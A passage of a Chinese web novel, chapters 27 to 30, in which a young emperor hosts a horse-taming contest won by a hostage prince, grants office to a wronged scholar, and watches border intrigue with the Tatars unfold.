与同辈在一起,穆诗婉显然放松许多,眼神古怪地看了眼穆子秋,“表兄,你今日好奇怪。” 穆子秋略显尴尬地笑了笑。 穆诗婉没在意,回想起女宴上,远远瞧见圣上的一眼,龙章凤姿不过如此,她心口跳得有些快了。 穆子秋看清她脸色变化,预感大事不妙,警惕道:“你脸红什么?” “啊,啊?有吗?”穆诗婉慌忙摸了摸脸颊,蹙眉怒瞪穆子秋,“表兄!” 顿了顿,她又有些发愁:“若姑母真要我入宫怎么办?圣上样貌虽好,可我刚听小宫女说了,圣上在宴上斩了两名使臣,怕是脾气不好,我害怕。” 此话一出。 穆子秋差点没笑出声,但忍住了,以他的了解,要是圣上不点头,太后绝对没办法塞人给圣上,但万一呢。 他问:“你想入宫吗?” 穆诗婉头摇得飞快。 穆子秋心中大喜,面上却严肃,压低声音道:“若太后真要让你入宫,那轿子我去坐,我扮女装足以以假乱真。” 这宫,他超想入。 但他不敢当着亲爹面说,也不敢当着圣上面说。 亲爹能把他打到半身不遂,圣上能让他见不到明天的太阳,他藏的可仔细了,只敢当笑话讲给堂妹听。 穆诗婉大骇,差点没骂穆子秋脑子长泡了,能想出这么个歪主意,真不怪叔父整日里揍他。 但她思索片刻,打量了几眼穆子秋。 郎君初长成,一身暗色劲装神采飞扬,隽悄俊朗,若眉毛画细一些,唇涂红一些,脸擦白一些,也能勉强当做一个秀气的小娘子。 * 南晋使臣团带着两颗脑袋屁滚尿流的连夜跑了,生怕步了两位大人的后尘。 谁能想到月商帝半点道理都不讲,杀使臣? 古往今来谁干过这事?简直荒谬绝伦! 南晋压境的大军驻扎在边境线一里外,才过了一夜,出了营帐发现外头翻天了。 隔着一条河,原本一览无遗的对面,出现了属于月商的营帐,错落有致,悄无声息一夜拔地起。 南晋将军急得直挠头,“怎么回事?怎么回事?上京有消息传来没?打还是不打?” 一日三问,他没收到军令,不敢轻易动手。 一动就是两国交战,且必然是场恶战,南晋可输不起了。 …… 边境陷入僵持。 一只海东青从京都飞出,穿过月商,到了鞑靼人组成的商队,商队押送着七八辆马车的粮草,去往的方向是南晋边城。 商队收信细看,吹响脖间的口哨。 与此同时。 津阳城外,正在搬运第二个粮仓的鞑靼兵们,腰间挂着的铃,一息之间全都抖动起来。 为首者高呼了一嘴鞑靼语,所有人搬到一半的手都停下,各自翻身骑马,如潮水般撤退。 商队的刀,一刀刺穿了马车上粮草的袋子,米粒漏出,他伸手接了一把,喂给了前头的马。 马儿吃了粮,不多时,发出痛苦的嘶鸣,抽搐着翻起白眼,倒地不起。已然是出气多进气少。 商队领头叽里咕噜骂得眼睛都红了。 陈年粮无所谓,粮里投毒?够狠! 也不怕把自己人吃死! 真要把这些拉去南晋,别说交好,南晋该和鞑靼交恶了! * 与边关的暗潮涌动不同。 京都一片祥和。 镇国公此次回京,带了一批烈马回来,这群马在京都熟悉了也有好几日。 近来世家安分,朝堂安分,唯一有争议的就是把先帝妃嫔,已逝的纯妃娘娘从皇家玉牒上划去了姓名,废了先帝曾给纯妃娘娘的谥号。 这可是圣上的生母,没人猜得到圣上拟旨时的想法,就连御史都大胆但委婉的在折子里骂圣上不孝。 当然,圣上根本懒得看这些批斗折,过一眼,用朱笔随便圈了一下,便堆在案上吃灰。 监察司还在紧锣密鼓的筹办,圣上实在没别的乐趣,又正好有人提议,便干脆用镇国公带回来的烈马,办一个驯马会。 深秋,活动活动筋骨,顺带瞧瞧年轻人打马球的风姿。 没办法,师离忱也很无奈,朝代落后,娱乐活动少,皮影戏来回就那几套,他又不爱听戏。 也就驯马,还都是些桀骜的烈马,听起来有点意思。 驯马的场地开阔,临时搭建了个简易的亭台,视野广阔,烈马分批放入场地,一帮跃跃欲试的小郎君,手里头各自拿着套马杆,各有打算。 金吾卫在场地周围巡视,圣上坐在台中观望,瞧着一帮儿郎骑着马,追着烈马,用套马杆去圈烈马的脖子,马儿自然不可能等着被套,东躲西跑,尥起前蹶好险没把人踢下来。 尘土飞扬。 场面一度十分激烈。 “都是烈马,即便是套住也不好训。” 镇国公笑呵呵地对圣上道,“这些马都是一等一的好马,臣归京时,房将军还舍不得让臣带走,都是千里马,只是难驯服,才在军中滞留许久,就算是儿郎们喜欢,恐怕也不容易带走。” 圣上品茶,语调平常:“玩闹而已,他们玩得开心,朕瞧着也舒心。” 瞧瞧那一个个,酣畅淋漓的样,若不是他这具身躯有着各种各样的暗伤,禁不起剧烈折腾,他也想上场试试驯马。 他指腹在杯壁碰了碰,有些遗憾地叹息。习过武的身子,如今却羸弱得连驯马都不方便上场,实在让人惋惜。 “看他们如此洒脱,朕深感欣慰。”师离忱笑说着,侧目看向乐福安,“朕的金弓呢,拿来给儿郎们添些彩头,谁驯得最烈的马,彩头归谁。” “欸。”乐福安应着,着手命人去取。 场中热热闹闹,因着彩头的缘故,年轻的少年郎们愈发认真的对待这场驯马会。 圣上要来瞧驯马这事,他们家中提耳面命的说过好几回,没能借着庆功宴在圣上面前露脸的儿郎们,借着这场驯马会积极表现。 荀嵩也在里头,当然他不会武,也不会骑马,就拿个套马杆躲在角落里偷闲打瞌睡,来这儿纯属应付老头子。 他上不了一点。 等他瞌睡醒了,坐起身探头,圣上已经坐在了台上,他定睛一看,两眼发直,傻愣愣地呆在原地,再也移不开视线。 直到圣上身旁突然出现一个朱红色的高挑身影,十分野蛮的挡在了圣上前头,以强横的姿态夺得了圣上的视线。 回过神来,他认出了那是金吾卫的官服,只觉得奇怪。 哪位金吾卫胆敢这般无礼? 第27章 朱红绣兽官服,皮革收腰,身高腿长,端得一副宽肩窄腰,再配上一张如冠玉般俊美阴鸷的脸。 气势凌人,身姿挺拔,即便是站在金吾卫当中,也是拔尖的存在。任谁瞧了都得夸一句,玉树临风,养眼。 裴郁璟穿着这身衣裳,果然赏心悦目。 师离忱打量了几眼,噙笑道:“你挡着朕看驯马了。” 裴郁璟侧目一瞥,嗤之以鼻,一帮只会花拳绣腿的京都贵公子,套几匹马都这么费劲。 他慢条斯理道:“没个新鲜花样。” 师离忱品一口热茶,眼皮都没抬一下,手在身侧轻轻招了招,语气像召唤小猫小狗一样随意,“过来。” 裴郁璟挑眉,依着圣上的意思,蹲在了圣上腿边。 圣上瞧他唇干,顺手把喝过的茶盏递给他,含笑睨来一眼,“你惯会狐假虎威,披着一身金吾卫的皮就混进来了。” 他可没召见裴郁璟。 驯马会场地外围有禁军层层包围,内场有金吾卫巡视,金吾卫官服可不是谁都能领的,裴郁璟穿着这身官服,再摆出架势,足够唬人了。 他道:“物尽其用,圣上教的。” 说话间,他视线一直盯着手中茶盏,杯壁能看到一点水润,是小皇帝刚才含过的地方。 他扫一眼小皇帝红润的唇,忽地感到口渴加倍,就着一口气喝完了茶水,这才觉得心里头舒服多了。 师离忱缓缓转着玉戒,不置可否地笑了一声,当然他现在心情好,不想和裴郁璟计较这些细枝末节。 反正这种事浑水摸鱼的事,也不会再有下次。 驯马场中。 突然迸发出一串惊呼。 师离忱将目光探去。 一道身影从人群中杀出来,意气风发,套马杆已经套在了一匹红棕烈马脖子上,与烈马并驾齐驱,双手用力,逐渐拉拢距离,翻身骑上了烈马后背,用力将套马索往后拉,当做缰绳,抠住马脖子。 原本还在和一帮烈马周旋的儿郎们,顿时把目光都转了过去,烈马不屈还在奔跑狂颠,试图把背上的人抖下来,驯马人则死死累着套马索,和烈马僵持。 “这是……”师离忱仔细辨认了会儿,笑着对镇国公道:“有穆家家风,很是英勇。” 镇国公谦虚道:“小儿不成器,也就一身蛮力。” 场中已经响起了呼和声,为穆子秋助阵。师离忱懒懒地靠着椅子,托着下颌,看着底下的轰轰烈烈。 眼见小皇帝看得专注,裴郁璟也跟着看了会儿,顿感无趣,小皇帝居然喜欢看这些。 他眸光一瞥,两名小太监拖着沉重的金弓候在一旁,正是小皇帝拿来刺他的那把金弓。 他神情一瞬沉了沉,若无其事道:“这是彩头?” 帝王漫不经心“嗯”了一声,视线看着场中的热闹,半点都没分给裴郁璟。 帝王无所谓的态度,让裴郁璟心里憋着一口气,目光森森地又瞧了眼场中,若有所思。 …… 驯马场内僵持了两刻钟,或许是被套马索锁喉太久,穆子秋所驯着的红鬃烈马前膝一软,在地上翻滚了两圈。 烈马本就疾行,突然倒下连带穆子秋摔了出去,好在他身上有功夫,使了点巧劲避免了受伤,但手上的套马索撒开了。 马躺在地上一动不动,肉眼可见的大喘气。围观的儿郎们驱着马过来,围成一圈查看情况。 喂了点水,不多时马又重新站了起来,穆子秋给它套上缰绳,也不挣扎。人群爆发出一阵欢呼。 “世子殿下,驯一。”郞义前来汇报,记上了一笔。 镇国公眼角笑出了细纹,神态间自然而然带上了些自豪感,又有些庆幸,“幸亏不是最烈的那匹,否则我儿怕是要摔断一条腿。” “喔?”师离忱来了兴致,问,“还有更烈的?” 镇国公颔首,回禀道:“有两匹汗血马,品相绝佳,这些马虽烈,可但凡有点功夫的都不会伤着,那两匹不一样,房将军的小儿子,房云哲,圣上还记得吗?” 房云哲。 师离忱对此人有印象,半年前烧了一座花楼,美其名曰替天行道,那个花楼是林氏的产业,确有许多污糟事,因为这事房云哲和房将军被参了有一个多月。 当时林氏如日中天,房将军怕房云哲摊上事,着急忙慌地把人接去边关了。 他笑问,“记得,那小子怎么了?” “他啊,瞧着汗血马漂亮,硬是不听老夫劝告,驯马反被马抖下来踹,断了一只手,养了两个月才见好。好了之后不记打,又跑到马跟前说是要培养感情,结果那马记仇,又把他腿踢折了。” 说着说着,镇国公忍俊不禁道,“臣回京的时候才见好,哭着求臣给他留一匹,房将军斥了他一顿才消停。” 闻言,师离忱莞尔,“朕记得房小将军身手还算不错。”垂眸间,他又轻描淡写道,“既然难驯,养着也是吃闲饭,杀了给将士们打打牙祭也好。” 镇国公怔然,瞧着圣上温柔和善的笑容,任谁也想不到这样平和的圣上,刚刚说出的话多富有血腥气。 难觅的汗血马,若能驯服在敌军当中七进七出也不是没可能,但圣上的意思摆明了就是—— 不能为所用,杀之而后快。 他后背无端泛起一股凉意,笑了笑劝道:“汗血马万里挑一,杀了可惜,不如今日放出来,让儿郎们一个个试,若今日驯不了,再杀也不迟。” 师离忱思索一番,同意这个决定。 “圣上。”身侧,裴郁璟的声音幽幽响起,“我若能驯服这汗血马,能拿这份彩头吗?” 此话一出,师离忱侧目,定定的看了会儿裴郁璟。 见对方势在必得神色笃定,圣上唇角上扬,慷慨道:“当然。” 他微微俯身,狎昵地捏了捏裴郁璟的耳垂,轻佻道:“驾驭不住,朕也可以赏你和马儿一起去死。” 裴郁璟状似惊吓地捂了捂心口,脸上却看不出半分惶恐,笑说,“圣上,我害怕。” 此番言论,逗得圣上开怀大笑。 裴郁璟眸色暗了暗,蓦地起身解扣卷袖,露出紧实蓬勃的小臂,留给圣上一个高挑的背影,嗓音沉哑道:“圣上且瞧好吧。” …… 场地被清理干净,所有烈马都被驯马人拉走,两只通体雪白的汗血马被引入宽阔的场地。 日光正好,汗血马身上附着一层薄薄的银绒,被阳光晒得反光,银绒下透出少许鲜红,成了一种独特的银粉色。 这正是汗血马的特性,皮薄,跑动起来能轻易看到绒毛下流动的鲜血,若是毛发变湿,会加深这份颜色。 汗血马脾气差劲,免得无辜之人受伤,其他参加驯马会的儿郎们都到了外场。 穆子秋擦了把脸上的汗,邀功似的跑到镇国公身旁,对着圣上行礼过后,便顺势坐在了亲爹身旁。 他昂首挺胸,眼睛时不时往上首瞟一眼,强忍激动,期待着圣上能投来赏识的目光。 然而圣上并没察觉到少年人的小心思,颇有兴趣地盯着裴郁璟。 裴郁璟不走寻常路,随手扯了块红绸缠在腰上做绳,一跃翻身入场,两匹汗血马第一时间就锁定了场中唯一活动的人,毫不客气直冲过来,几乎化作一道银色闪电,要是被撞到少说也得半残。 “难怪房云哲那小子会受伤。”圣上看着场中,点评,“一般人怕是避都避不开。” 房云哲算是年轻一辈的翘楚,不然避祸能去江南这样林氏不能插手的地方,可房将军偏偏把人接去了边疆。 是有意栽培。 镇国公瞪了眼身旁好像浑身刺挠的穆子秋,警告对方安分,口中应着圣上,“汗血马的速度,是寻常马儿远不能及的。” 场中,裴郁璟纵身避开了左右冲来的汗血马,红绸做绳,一甩便绑在了汗血马脖间,过长的一端抛向了另一只汗血马,同样绑紧。 借着力,他跃上马背,稳稳踩在马背,拉紧红绸。 裴郁璟面无表情,眼神却锐利阴鸷,握着红绸微微发力,双臂流畅的肌肉线条完全显露,宛若几条随时暴起的弧线。 场外围观的公子哥们已然呆傻。有人不可置信,“他想一次驯两头?不是,他疯了?” 有人抓破脑袋也没想出这路神仙是谁,倒吸凉气:“为了在圣上面前表现,这么拼命吗?” 当然,在圣上面前出风头,确实得脸。在场大概没人不想在圣上面前表现,有些人总是控制不住目光去窥探圣上的风姿。 圣上坐在台中,透着病白的修长手指托着下颌,着玄色氅衣,眉眼漠然自带上位者的审视与傲然,唇边含笑却不达眼底,明艳又妖异,像个妖孽。 偷摸着仔细一看,有几位已然控制不住嘭嘭乱跳的心。 乐福安重新给圣上换了茶盏,又倒上热茶,嘟囔道:“那么好的杯子,圣上随手赏他了真是可惜。” 声音里还有对裴郁璟的怨气。 师离忱但笑不语,用茶水润了润嗓子,继续观察场中的变化。 暴怒中的汗血马,力气可不算小,马蹄之下已然踏出几个大坑,身上染了灰尘。 汗血马翻滚过,跳过,想摆脱这个拽着它们的人类,可惜当它们躺下的时候,这个人类身子就轻飘飘的落地,它们翻身跳起来,这个人类就顺势重新踩回他们背上。 驯马,比的是胆量,耐力,力量。 汗血马聪慧,发现之前奏效的办法,完全无用后,立刻调整了新的方式,开始不急着挣脱脖子上的红绸。 其中一匹嘶鸣着跳起来,妄图用前蹄去踹,另一匹同类背上的人类。 裴郁璟眸色一沉,拉紧红绸用力一刹,两匹汗血马身形不稳东歪西倒,只能高昂起前身,来避免倒下。 光影之下。 马背上的人佁然不动,被投出一个英武势威的轮廓,低垂的目光冷厉发狠,手里卷着的绸缎似乎成了刀,牢牢抑在咽喉,随时索命。 师离忱换了个姿势,玩味地看着场中驯马的裴郁璟,这力道别说驯马,驯虎恐怕都绰绰有余。 镇国公眉头紧皱,南晋质子手段如此,怕是不能低估。他身旁的穆子秋也眉头紧皱,父子俩表情几乎一模一样,心境却大不相同。 穆子秋烦躁极了,恨恨瞪一眼裴郁璟,该死的南晋质子!圣上光看这南晋人了,哪里还记得他也驯了匹烈马! 场中。 汗血马渐渐停下了挣扎。 像是被驯服了一般,不再暴躁地蹦跳,裴郁璟并未因此放松警惕,只朝场外伸出一只手,沉声:“缰绳!” 郞义回首请示圣上,圣上轻笑着微微颔首,表示许可。 缰绳被抛入场内,被裴郁璟一把捞起。 他刚从马背上下来,原本安分下来的汗血马,蓦地暴跳,试图踏碎这个不知天高地厚的人类。 师离忱歪了歪脑袋,眼看着裴郁璟捏住了汗血马的脖子,麻利地把缰绳套在汗血马脖子上,猛地用力就将马儿按倒在地。 汗血马蹬了几下腿,照样被死死按在地上,没能重新翻身起来,这才又重新安分下来。 师离忱语调平常,说汗血马,“真聪明,还知道用缓兵之计。”乍地来这么一下,就算是经验老道的驯马师也吃不消。 他转着玉戒,与场中,刚经过一场鏖战的裴郁璟对上目光。 圣上视线里隐含了探究,裴郁璟喘着气,眉眼一闭一抬间,恶犬的锋芒与獠牙尽数收敛。 他转身面向圣上,高昂着首,放肆的直视起高台之上的帝王,嘴角扯出一个意味深长地笑容。 小皇帝一直看着他。 他很满意。 场外围观的儿郎们,多数都在京中吃喝玩乐,习武也有教习师傅,见过最大的场面约莫就是禁军演练。 他们哪里见过这样刺激的场面,一人驯二马,还是汗血马,一时间热血沸腾,高呼:“魁首!魁首!” 师离忱起身,从高台之上,将金弓抛下,挑眉道:“归你了。” 裴郁璟抬手接住金弓,“谢圣上。” 套着缰绳的汗血马显然不太习惯,时不时甩头,被裴郁璟一扯又老老实实的跟过去了。 所有人都很开心。 只有穆子秋,脸臭得要命,被他爹掐了好几把。 * 驯马会继续举行,师离忱却没继续再看下去的兴致,今日也尽兴了,便乘步辇打算回御书房批奏折。 路上偶遇福生,福生禀道:“圣上,太师大人已在御书房等您。” 师离忱应了一声,问:“齐计泽可去了?” “齐公子收到圣上口谕,早早就在御书房里候着了。”福生边走边报,“奴才过来的时候,瞧着齐公子已经和太师说上了话。” 师离忱懒懒地“嗯”一声,漫不经心道:“那朕饿了,先去用膳吧,你回去给二位先生奉茶,朕用完便来。” 总得给两个人一点说话的空间和时间。 福生诧异,但也不敢置喙圣上的决定,退到一旁给干爹乐福安让位置,小步快走着回御书房。 …… 御书房。 自打林氏案之后,齐计泽便没有见到过圣上,况且宫中守卫森严,他想见也见不着。 他一直住在圣上安排的那个偏殿里,太监宫女们照常给他上一日三餐,原本他是打算要出宫。 可圣上没发话,宫人们不敢擅自做决定,不肯放他走,又不能帮他通报,他只能耐心地坐回去。 一晃就在宫中住了半个月,有一点好极了,宫中笔墨不曾设限,他可以尽情的抒写。 二十多年的心酸在落笔的一刹那全都成了悲愤,一气呵成。 “酒酣耳热天寒,一声喝道惊雷怒,狂涛拍岸,断云遮路,长鲸跋扈,吹散蛟龙,翱翔霄汉,壮怀谁诉,问英雄儿女,笑谈樽俎,安得似,风尘处。” “野哭千家砧杵,剩荒台,旧愁新句,苍烟古木,白杨黄叶,凄凉如许,青眼高歌,朱颜难老,总成虚度,怕明朝,客里光阴易失,短亭无数。” 零零散散写完又揉成团,齐计泽自嘲一笑,多年无缘碰笔墨,一碰便写出这么些矫揉造作的玩意。 宫中供奉都是上好的纸,丢了可惜,他把纸团重新铺平,翻过背面来写些别的策论,节约纸张。 故此,经过他笔墨的纸,都作得密密麻麻。 就这么过了半个月,直到今早来了圣上的传召,令他去御书房等候,齐计泽大喜过望,整理好衣衫,怀揣一颗忐忑的心,在御书房候着。 他脸上有疤,即便恢复了名声,确认了贡士身份,但此生都不会有殿试的机会,圣上也并未给他授官。 残缺者不可入仕,齐计泽摸着脸上狰狞的疤痕,对未来很是迷惘。 他在御书房等了两个时辰,没等来圣上,听到外头小太监唤了一声,“太师大人。” 随即将人引进殿内。 齐计泽慌忙起身,与入门的老太师对上眼神,齐计泽避开视线,有些紧张地低头行礼,“学生齐计泽,见过太师。” 老太师没想到御书房内还有一人。 他眯起眼睛仔细辨认一番,确认了对方是八年前,那位被林氏冒名顶替的会试第一。 太师不爱有人和他攀关系,冷着脸不大客气的问,“老夫生平从未收过弟子,你为何自称学生?” 太师锐利的目光似要将他审判。 齐计泽一怔,不卑不亢地又行了一礼,“多年前学生参加的乡试,您回乡里探亲,是那场乡试的主考官。” 他道,“您秉公直断,让那场乡试公正严明,学生自心中佩服,太师虽非我恩师,但学生已将太师奉为明灯。” 第28章 御书房一时沉寂。 太师眼中的冷意淡去几分,不咸不淡地应了声,在一旁的位置上坐下。 圣上许过,任何在御书房等候的臣子,都能坐,不算逾矩。 一旁小太监给二人奉上茶水。 太师这才注意到手边摆了个册子,没有署名,圣上特意放在这儿的?他敛眉,将册子拿起来,打开细看。 齐计泽有些拘谨地坐下,无措地捏着手,手心里已然全是汗。 片刻后,对面的太师忽然道,“我且问你,你若做官,是想留在京中,还是外放。” 齐计泽心中一惊,这哪轮得到他选,光是他脸上这道有损体统的疤,怕是县衙的无品小吏都应不上。 不是他不想,而是世人的目光一向如此。 齐计泽神情迟疑,不知该不该答。 太师瞧出他的不自然,合上册子,言语上推他一把,“尽管说。” 回想起八年的逃亡与心酸,齐计泽冷静下来,深思道:“从前念书只知道理,不通其意。可这八年来,学生见过有人因无桥可走,乘坐渡船,半路被船家威逼多交银钱,有的给了,有的却因拿不出多余钱财而被逼着跳江。” 他娓娓叙述,“也有人因无路可走,多绕上两三个时辰的远路,只为将磨好的豆腐背到市集上卖一点口粮钱。学生愚钝,想着若这些地方能修上桥,能修上路,或许苦难会少一些。” 闻言,太师深深看了眼齐计泽,“地方官难,百姓官苦,所谓强龙难压地头蛇,这路可不好走。” 齐计泽茫然抬眸,太师已唤小太监去准备笔墨纸砚,他捻着胡须,难得露出个笑脸,“老夫不才,虽多年未主持科考,但到底有功底在,圣上御令,特命老夫亲自为你加试。” 巨大的惊喜砸在头上,齐计泽张着嘴一时间发不出声音。 他哪能想到还有这种机会,他预想的最好结局,大概就是被打发出宫,去书院做个教先生罢了。 齐计泽回过神来,激动地朝书房上首的龙椅叩一头,又对太师叩一头,“学生……学生……”他抬起头,声音有些磕巴,哽咽道:“学生一定,定拼尽全力!” * 圣上慢悠悠地用完膳,慢悠悠地净手,殿内响起一阵清冽的水声撩拨。师离忱拿着小宫女送上的帕子擦手,就听殿外传来一阵乱糟糟的吵闹声。 圣上掀起眼皮,“怎么了?” 乐福安走出去制止了乱子,探听一番又回到圣上跟前,笑说,“裴殿下牵着两匹汗血马过来,说是即便驯服了,也要让马儿认认正主。郞统领记得圣上的吩咐,把他拦在外头了。” 反正不急着去御书房,但师离忱也不想出去看所谓的汗血马,这种闲暇的时候最适合逗逗男主。 他整个人没骨头似的陷在一个宽椅上,轻笑道:“马就算了,朕见见他吧。” “欸。”乐福安应着,出去将人传了进来。 裴郁璟单手提着金弓,阔步入殿,一身赤红官服被背后的阳光照得似乎透金光。师离忱对他招了招手,随意道:“来。” 看圣上目前的神色,大约心情是好的。裴郁璟轻车熟路地坐在帝王的踏脚边,“圣上不去瞧瞧汗血马?” 汗血马野性强,很容易让人产生征服欲,但这不包括师离忱,他喜欢野性强的生物,可超过一定限度,太野了,就不招人疼了。 他笑而不答,反问裴郁璟,“为了这个彩头,你倒是肯下功夫。” 裴郁璟叹道,“圣上头一回见璟,就用这弓赏了璟一箭,璟可舍不得把这么好的弓,送到旁人手上。” 师离忱不可置否,噙着笑侧目望着裴郁璟,嗓音低沉轻慢,“你自个的尾巴扫干净了吗?就敢到朕眼前晃。” 自打那日他拒绝见裴郁璟后,这人安分了一段时间,也没到他面前来招嫌,如今怎么一反常态。 真让师离忱感到稀奇。 像是等了许久才等到这么句话,裴郁璟慢条斯理道:“圣上先别动怒,我是来给您送大礼的,南晋的一座城池,喜欢吗?” “喔?”师离忱唇角上挑,他身子微微前倾,一手挑起裴郁璟的下巴,盯着他的眼睛,“朕凭什么信你?你图什么?” 语气透着一股漫不经心的倦怠。 小皇帝眉眼深邃,含笑间,只要长久的注视着某样东西,便会有种此物被喜爱的错觉。 裴郁璟嘴角展开一个笑,声音带着万无一失的肯定,“信或不信不重要,反正圣上再等一等就会收到消息,若是真的,圣上应我一个条件可好?圣上敢与我赌一赌吗?” 师离忱偏头打量了裴郁璟一会儿,忽然有些理解,为什么书中是这个人统一了天下。 人在月商为质,还能左右两国政局。 就像那两匹桀骜不驯的汗血马,野心勃勃,野性勃勃。 和牲口不一样,师离忱乐意给这位人形千里马一点耐心,欣然同意了赌注,“好啊,只要条件不过分,朕许你一诺又如何。” 裴郁璟笑了,笃定这场局他会赢。 他道:“那圣上,小宠能回来睡了吗?小汤圆睡觉打呼噜很响,小宠实在无法入睡。璟想回来侍候圣上,小汤圆能做的,我也能做。” 小汤圆确实会打呼噜,这也是师离忱只留了小汤圆一晚上,其他时候的夜间都把小汤圆赶回去睡的缘故。 不过裴郁璟的话,让师离忱很稀奇,总觉得此人脸皮变厚了些,有些古怪。 他哼笑道,“好啊,小汤圆做什么,你就做什么。”他倒要看看,裴郁璟到底怎么学小汤圆。 * 鞑靼草原飞过苍鹰,带来了令牌与密信。 一名鞑靼兵吹响号角,马蹄阵阵,几乎是顷刻间四面八方冒出来了许多兵卒,往中心聚集,还有更多的在往这边赶赴。 部族首领高举令牌,叽里咕噜号令两万鞑靼精兵,背起长弓提起枪,直指南晋与鞑靼最近的一座边城。 月商与鞑靼衔接的只有两座城,最近的是津阳城。可南晋不同,与鞑靼相连的地方多了,即便有些地方只是藕断丝连。 部族首领露出狰狞嗜血的笑,十分感慨,认为是合作者终于想通了。 毕竟根据方位地形,攻打南晋,可比月商方便多了。 第29章 与殿试一样。 太师出了一题策论,给了相应的时间,让齐计泽答题。加试直至日落西山,直至滴漏停止落水,方结束。 小太监进来收拾干净,带走计时的滴漏,重新给二人换上热茶。 太师提笔在答好的考卷上,圈圈点点,凝神批注,殿试批阅几百人的卷子又要反复核对,多少都要好几日。 现下只批一张,自然用不了那么久,不过也耗神。 齐计泽屏息静坐等候,待卷子批完,恰好殿外传来内侍参拜的动静。 太师放下卷子,与齐计泽一同站起俯首行礼,“参见圣上。” 师离忱入殿,抬手随意一按,“不必多礼。”示意二人起身。 太师抬头,注意到圣上身边穿着金吾卫官服的裴郁璟,蓦地蹙眉。京都诸位或许都知道来了个南晋质子,可由于这位质子一入京都便被召进宫的缘故,大多人手中只有画像,暂不清楚此人的真实样貌。 可太师是接见过使臣的人,认得。 太师面色不虞,“圣上!”他审视着裴郁璟,冷道:“裴殿下身为质子,怎能穿月商官服,此举不妥。” 裴郁璟站在圣上身后,情绪不显眼神只瞧着圣上,眼底一片深幽莫测,时刻注意着圣上的神情变动。 他也想知道,小皇帝到底打什么心思。 圣上只不过是随性而为,往龙椅上懒懒一靠,“一件衣裳,不碍事,他整日要在朕眼前晃,打扮好看点朕心情也好。” 收拢权势的帝王,根本不需要顾忌太多,往那一坐,独属于上位者的孤傲轻狂与不容置喙,自然显现。 只因圣上完全有本事,把事态按捺在能控制的范围。 有能力的情况下,圣上从不亏待自己。 当初选拔金吾卫的要求他特意对标了锦衣卫,先从禁军里选一批,再从民间招一批,必要条件就是世家清白,虎臂蜂腰螳螂腿,能力武力出众,按等级官服分黛、竹、赤。 三品以上指挥使为赤,既然要摆在眼前自然要好看些更好,圣上眼光高,故此官服亲自过目了花样,选了司造织递来的三份花样。 黛狐,竹狼,赤虎,上值多为玄甲,为了行动方便还有更轻易的半甲罩袍。选拔出了一批格外赏心悦目的金吾卫。 裴郁璟身量放在金吾卫里也都是拔尖夺目的存在,自然圣上也乐意赏他一件好看的衣裳。 圣上只需简单一句,太师便了然不多赘述,他将批好的卷子递到圣上案前,“卷已阅好,圣上且过目。” 不亏是曾经的会试头名,策论出挑,读起来酣畅淋漓,对内防外患有一定见解,也针对旱涝的治国之策,确确实实写到了点子。 不虚浮,不焦躁,很实在。 是个实干型人才。 师离忱感慨,此等人才埋没了八年,那些未被查出的,被林氏暗地里坑害过的又有多少? 他觉得林氏死得太轻松了。 师离忱放下卷子,“你策论行文合乎国情,若放在前两年的殿试之上,担得起一个榜眼。” 虽优秀,但与两年前的状元文章比起来,针对外防的见解弱了些。 能得圣上认可,即便不是状元又如何,如今这个结果已然是最好,额外的加试让齐计泽已无多少遗憾。 他释怀一笑,朝圣上谦卑弯腰道:“草民冤情已去,圣上肯给草民一个验明正身的机会,草民已心满意足。” 师离忱轻笑道:“以你之才,入翰林院也使得,不过朕听说,你想外放?” 齐计泽一怔,刚刚御书房分明只有他与太师二人……转念一想这是皇宫,圣上耳目诸多,能知晓也合乎常理。 他对脸上的疤有些不自信,迟疑道:“……草民,还能做官?草民的面容……”他眼神黯淡,难以启齿。 “为何不能?”师离忱含笑,“月商可有规定,面有残缺者不能入仕?就算有,朕也能让它没有,最多是让御史台那帮老家伙拐着弯骂几句不敬祖宗,他们还能拿朕怎么样。” 这番论调,听得太师既不想支持,也不想反驳,一面认为圣上实在太任性妄为,一面又觉得圣上这回做得对。他亲手批的卷子,他很清楚齐计泽是个怎样的人才,于国有利,万万不能放过。 于是太师闭起眼睛选择中立,选择暂时不挑圣上毛病了。 齐计泽眼眶逐渐湿润,陡然撩开衣摆跪地,重重磕头呼道:“草民叩谢圣上隆恩!” 圣上语调慵懒,“去忻州吧,先从同知州事做起。” 同知州事是忻州府的副手,忻州府前些日子还上书,说私盐买卖的事,还有水利河工需要通设,派他去忻州历练正好。 定了去处,授了官身,齐计泽眼中出现了希望,胸腔暖洋洋的又磕了一下,“臣,领旨。” 领了旨的齐计泽,与太师一同退出御书房,毕竟天色见晚,是用晚膳的时间,圣上给他们赐了御膳。 从始至终,裴郁璟的眼神就没从师离忱身上离开过,他觉得,小皇帝处理起政务的时候,浑身好像有万丈光芒。 年轻的帝王,有得不只是脾气,还有果决的手段和识人的慧眼。 圣上在处理奏折,裴郁璟站在离案不近不远的地方,偏头能看到小皇帝专注认真的侧脸,但看不见奏折的内容。 裴郁璟也不关心奏折的内容。 他看着小皇帝苍白修长的手,轻轻握住了御笔,毛尖朱砂鲜红一点,似乎比那日戴在他鬓边的山茶花还要红。 精雕玉琢的小皇帝,手指弯曲凸出的骨节如玉,指腹尖端透出一点微粉,能拿得住笔,也能拿住匕首,爆发出惊人的力量发狠杀人。 裴郁璟舔了舔唇。 忽然感到口中有点干涩。 真怪。 最近老是在小皇帝面前口干舌燥的,心口像是烧着一团火,让人焦躁不安。他思索片刻,认为一定是深秋带来的火气。 * 南晋使臣团,回南晋还需要一点时间。 可消息走得比人快,消息已经到了南晋皇城,看着信上‘月商帝当宴斩使臣’南晋皇帝怒从心起,重重地咳嗽几声,本就带病的脸色此刻十分难看。 还有让他更难堪的消息。 八百里加急军报,“陛下!鞑靼奇袭河梁府,河梁府军粮近乎断绝!河梁守将求援!” 第30章 南晋皇帝紧急召见百官,彻夜商讨。 谁也没料想到原本要对付月商的鞑靼人会突然反水,南晋已损三城,无法再承担损失任何一座的风险。 南晋目前与月商交恶,形势调转刻不容缓,主战派的四皇子党被皇帝骂了个狗血淋头,刚养好身子的二皇子党被推出来,主和派又一次占据上风。 距离河梁府最近的军队,只有边疆大军,若调过去太多将士,难保月商不会趁机发难。 当务之急是要消去月商帝的怒火。 既要重新讲和,自然要奉上十足的诚意。 经过一夜,商讨结束,南晋皇帝提笔亲自修书一封,盖上印信,封好,快马加鞭送往月商。 同时备好赔礼,只待月商回信同意,便能即刻出发。 …… 边境僵持多日。 未有明确开战的旨意之前,双方都不会轻易跨过中间的那条河,两军隔岸相安无事, 但不妨碍将士们趁着打水的功夫吵架。 